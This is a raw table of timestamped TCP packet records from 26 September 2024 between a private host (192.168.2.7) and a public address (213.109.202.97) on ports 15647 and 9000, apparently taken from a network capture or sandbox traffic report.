Sep 26, 2024 01:49:06.889755011 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:06.934642076 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.934701920 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:06.939517975 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.952296019 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:06.954458952 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.996454000 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:06.998622894 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.998668909 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.003657103 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.012820959 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.017605066 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.028708935 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.032510996 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.074578047 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.074587107 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.074640036 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.079911947 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.079955101 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.084712982 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.090966940 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.095177889 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.137244940 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.142141104 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.142198086 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.171050072 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.171137094 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.189856052 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.189934969 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.240705967 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.240767002 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.247704029 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.248079062 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.255001068 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.265058994 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.269140959 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.310720921 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.310785055 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.315632105 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.325711012 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.330645084 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.336613894 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.341255903 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.386709929 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.386801004 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.391632080 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.391700029 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.396512985 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.403486967 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.407820940 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.449644089 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.450687885 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.450822115 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.456099987 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.456218958 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.461110115 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.466350079 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.471293926 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.481695890 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.483409882 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.527739048 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.530771017 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.530855894 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.535759926 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.545698881 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.550709963 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.559938908 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.562041044 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.562150955 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.580900908 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.580990076 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.630738020 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.630901098 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.637039900 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.639038086 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.643920898 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.653325081 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.669869900 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.669958115 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.674901962 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.678586960 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.684755087 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.728049994 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.728204966 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.774800062 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.774893045 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.779848099 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.779911995 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.784873009 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.794054031 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.798949957 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.809993029 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.814956903 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.819305897 CEST	9000	58376	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.819379091 CEST	58376	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.819484949 CEST	58376	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.824112892 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.824292898 CEST	9000	58376	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.829677105 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.870913029 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.871397972 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.918795109 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.918865919 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.923743010 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.923796892 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.925560951 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.935287952 CEST	58377	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.940116882 CEST	9000	58377	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.940303087 CEST	58377	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.940412998 CEST	58377	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:07.945313931 CEST	9000	58377	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.967472076 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:07.967597008 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:08.014698029 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.014775991 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:08.019666910 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.019731998 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:08.024600983 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.031950951 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:08.036850929 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.047441959 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:08.052447081 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.060503960 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:08.065346003 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.105849981 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:08.106648922 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.106774092 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:08.110688925 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.110774040 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:08.112293959 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.116266012 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.124377012 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:08.129543066 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.137823105 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:08.142890930 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.154582977 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:08.159606934 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.169759989 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:08.175038099 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.184478045 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:08.189625978 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.200634956 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:08.203497887 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.220616102 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.220698118 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:08.230034113 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:08.282834053 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.282906055 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:08.289827108 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.294379950 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:08.301018000 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.310302019 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:08.317007065 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.326957941 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:08.327327967 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.371490002 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:08.378238916 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.378447056 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:08.382750034 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.426791906 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.426959991 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:08.434063911 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.435457945 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:08.443079948 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.450903893 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:08.458452940 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.465818882 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:08.472868919 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.474225998 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.481758118 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:08.530739069 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.530805111 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:08.536782980 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.543807983 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:08.548670053 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.560121059 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:08.564058065 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.564125061 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:08.608239889 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.608335972 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:08.613991022 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.621357918 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:08.626219988 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.647538900 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:08.653326988 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.657166958 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.693804026 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:08.738604069 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.738651991 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:08.743509054 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.747328997 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:08.752091885 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.762722015 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:08.767570972 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.778700113 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:08.783509970 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.789817095 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.797820091 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:08.834424019 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.834501982 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:08.882601023 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.884603024 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:08.889398098 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.893524885 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:08.898320913 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.930505991 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.980372906 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:08.980849028 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:09.031032085 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:09.061578989 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:09.105849981 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:09.154561996 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:09.194813013 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:09.210386992 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:09.246000051 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:09.248466015 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:09.294657946 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:09.294730902 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:09.299534082 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:09.309577942 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:09.315026999 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:09.325162888 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:09.329960108 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:09.341955900 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:09.346697092 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:09.356524944 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:09.361485004 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:09.373653889 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:09.378386021 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:09.387902021 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:09.392649889 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:09.403192997 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:09.409007072 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:09.418768883 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:09.424637079 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:09.435345888 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:09.435918093 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:09.482593060 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:09.482656956 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:09.487468958 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:09.497299910 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:09.502523899 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:09.512836933 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:09.517646074 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:09.530220032 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:09.535037994 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:09.544182062 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:09.549123049 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:09.559792995 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:09.564673901 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:09.575253010 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:09.580106974 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:09.590753078 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:09.595594883 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:09.606492996 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:09.611351013 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:09.623749018 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:09.628633022 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:09.638603926 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:09.643433094 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:09.653348923 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:09.667150021 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:09.668766975 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:09.673763990 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:09.684401989 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:09.689179897 CEST	9000	58377	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:09.689260960 CEST	58377	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:09.689301968 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:09.689421892 CEST	58377	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:09.689850092 CEST	58378	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:09.700042963 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:09.910841942 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:09.910917997 CEST	9000	58377	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:09.910932064 CEST	9000	58378	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:09.910943031 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:09.911021948 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:09.911077976 CEST	58378	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:09.915709019 CEST	58378	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:09.916054964 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:09.919452906 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:09.920478106 CEST	9000	58378	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:09.924283028 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:09.935087919 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:09.939867973 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:09.950607061 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:09.955540895 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:09.966201067 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:09.971112013 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:09.981648922 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:09.986716986 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:09.998594999 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:10.004363060 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:10.012887955 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:10.015568972 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:10.015583038 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:10.015654087 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:10.058674097 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:10.061542034 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:10.066601992 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:10.075292110 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:10.080411911 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:10.093067884 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:10.097955942 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:10.106600046 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:10.111572981 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:10.122208118 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:10.129615068 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:10.137866974 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:10.142647982 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:10.186714888 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:10.189567089 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:10.195163965 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:10.200155973 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:10.205260038 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:10.218800068 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:10.223767996 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:10.231858015 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:10.236788988 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:10.247526884 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:10.252382040 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:10.263189077 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:10.267992973 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:10.269520998 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:10.279865026 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:10.326713085 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:10.326778889 CEST	49716	15647	192.168.2.7	213.109.202.97
